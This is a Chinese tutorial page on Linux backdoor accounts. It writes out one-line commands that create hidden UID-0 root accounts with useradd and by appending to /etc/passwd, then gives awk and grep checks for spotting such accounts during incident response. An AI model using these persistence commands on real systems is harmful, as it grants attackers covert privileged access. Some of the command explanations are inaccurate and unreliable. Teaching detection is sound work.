当前位置: 首页 > news >正文

后门账号从入门到应急响应

目录

1. 后门与后门账号的介绍

1.1 后门介绍

1.2 后门账号介绍

2. 后门账号添加

方式一:

方式二:

方式三(添加账户):

添加普通用户:

添加root用户:

3.排查可疑账号


1. 后门与后门账号的介绍

1.1 后门介绍

        指的是绕过正常认证安全控制,获取对系统或程序的未授权访问的方法。后门可以是软件中的一个隐藏功能,也可以是硬件上的特殊接口。它们通常被黑客用来非法访问系统,或者在某些情况下,软件开发者可能会在软件中预留后门以便调试和维护.

1.2 后门账号介绍

        后门账号通常是指未经授权创建的账户,用于绕过正常的安全措施,以便攻击者可以秘密访问系统。通过将账号设置为具有高权限,root权限,使得攻击者能够执行各种操作,包括窃取数据、安装恶意软件或进行破坏。后门账号的存在对任何系统的安全构成严重威胁.

2. 后门账号添加

一句话添加用户和密码

方式一:

###添加root用户:
#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1# useradd:用于创建新用户的命令。
# test1:新用户的用户名(后门用户名)。 123456 是明文密码。-p:设置用户密码的选项。这里使用 openssl 命令生成加密密码。
openssl passwd -1 -salt 'salt' 123456:生成加密密码的命令,其中 salt 是一个随机字符串,用于加盐密码哈希,123456 是明文密码。
-o:允许创建具有唯一 UID 的用户,即使它与系统中现有的用户 UID 冲突。
-u 0:将用户的 UID 设置为 0,这通常是 root 用户的 UID。
-g root:将用户添加到 root 组。
-G root:将用户添加到 root 组(如果 -G 后面没有组名,则默认添加到用户自己的组)。
-s /bin/bash:指定用户的登录 shell。
-d /home/test1:指定用户的主目录。

方式二:

echo "ruoji:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd ruoji #修改xiaodi的密码为ruoji定义了用户名 ruoji,加密密码(x 表示密码是加密的,实际密码需要设置),UID 0(root 用户的 UID),组 ID 0(root 组的 GID),主目录 /,以及登录 shell /bin/sh。
passwd ruoji:为新创建的用户 ruoji 设置密码。

方式三(添加账户):

添加普通用户:

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

添加root用户:

这个跟上面的方式一是一致的

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

3.排查可疑账号

# 查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd# 命令详细解析awk:是一个文本处理工具,用于处理和分析文本文件。
-F::设置字段分隔符为冒号(:),因为/etc/passwd文件中的记录是以冒号分隔的。
'$3==0{print $1}':这是一个awk的动作,意思是如果第三个字段(用户ID,即UID)等于0,则打印第一个字段(用户名)。
/etc/passwd:这是Linux系统中存储用户账户信息的文件。# 命令会列出所有UID为0的用户,通常UID为0的用户是系统管理员(root)。# 查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow# 命令详细解析/etc/shadow:这是Linux系统中存储用户密码信息的文件,比/etc/passwd更安全,因为它包含了加密的密码。
/\$1|\$6/:这个正则表达式匹配密码字段中包含$1或$6的行。$1和$6是PAM模块(Pluggable Authentication Modules)的算法标识,用于密码加密。如果密码字段包含这些,通常意味着密码是加密的,并且用户可以进行远程登录。
{print $1}:打印匹配行的第一个字段(用户名)。# 命令会列出所有密码字段包含$1或$6的用户,这些是可以远程登录的用户。# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"# 命令详细解析
more /etc/sudoers:more是一个分页程序,用于逐页显示文件内容。这里用于显示/etc/sudoers文件,该文件定义了哪些用户和组可以执行哪些命令。
grep -v "^#\|^$":grep是一个文本搜索工具,-v选项表示反向匹配,即不显示匹配的行。"^#\|^$"是一个正则表达式,匹配以#开始的注释行或空行。
grep "ALL=(ALL)":再次使用grep搜索包含ALL=(ALL)的行,这通常表示用户或组被授予了所有权限。# 命令组合会列出/etc/sudoers文件中所有授予ALL=(ALL)权限的行,但排除了注释和空行。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 9.17 DFS中等 200 Number of Islands
  • 【系统架构设计师】虚拟机架构风格
  • 使用Mockito进行单元测试
  • 【Linux】查看操作系统开机时初始化的驱动模块列表的一个方法
  • AI教你学Python 第10天 :参数与返回值
  • HarmonyOS 速记
  • 18、Python如何读写csv文件
  • Netty笔记09-网络协议设计与解析
  • 佛山网站制作与设计
  • [掌握API速率限制:如何高效管理请求频率]
  • Simulink仿真理想二极管模型
  • 【C#生态园】虚拟现实与增强现实:C#开发库全面评估
  • 【Linux】Linux项目自动化构建工具-make/Makefile
  • Go语言并发编程之Channels详解
  • 【Java】基础语法介绍
  • android 一些 utils
  • Angular 4.x 动态创建组件
  • CSS魔法堂:Absolute Positioning就这个样
  • JavaScript-Array类型
  • LeetCode算法系列_0891_子序列宽度之和
  • Node 版本管理
  • storm drpc实例
  • 彻底搞懂浏览器Event-loop
  • 从零开始的webpack生活-0x009:FilesLoader装载文件
  • 对象引论
  • 那些年我们用过的显示性能指标
  • 融云开发漫谈:你是否了解Go语言并发编程的第一要义?
  • 深入浏览器事件循环的本质
  • 我是如何设计 Upload 上传组件的
  • 一些css基础学习笔记
  • 主流的CSS水平和垂直居中技术大全
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • HanLP分词命名实体提取详解
  • 蚂蚁金服CTO程立:真正的技术革命才刚刚开始
  • #HarmonyOS:软件安装window和mac预览Hello World
  • (ZT) 理解系统底层的概念是多么重要(by趋势科技邹飞)
  • (第61天)多租户架构(CDB/PDB)
  • (附源码)php新闻发布平台 毕业设计 141646
  • (附源码)ssm考生评分系统 毕业设计 071114
  • (附源码)计算机毕业设计SSM疫情下的学生出入管理系统
  • (蓝桥杯每日一题)平方末尾及补充(常用的字符串函数功能)
  • (免费分享)基于springboot,vue疗养中心管理系统
  • (四)c52学习之旅-流水LED灯
  • (转)ORM
  • (转)真正的中国天气api接口xml,json(求加精) ...
  • *setTimeout实现text输入在用户停顿时才调用事件!*
  • .equals()到底是什么意思?
  • .L0CK3D来袭:如何保护您的数据免受致命攻击
  • .Net 4.0并行库实用性演练
  • .net core使用RPC方式进行高效的HTTP服务访问
  • .NET微信公众号开发-2.0创建自定义菜单
  • /proc/interrupts 和 /proc/stat 查看中断的情况
  • @EventListener注解使用说明
  • @property括号内属性讲解
  • @软考考生,这份软考高分攻略你须知道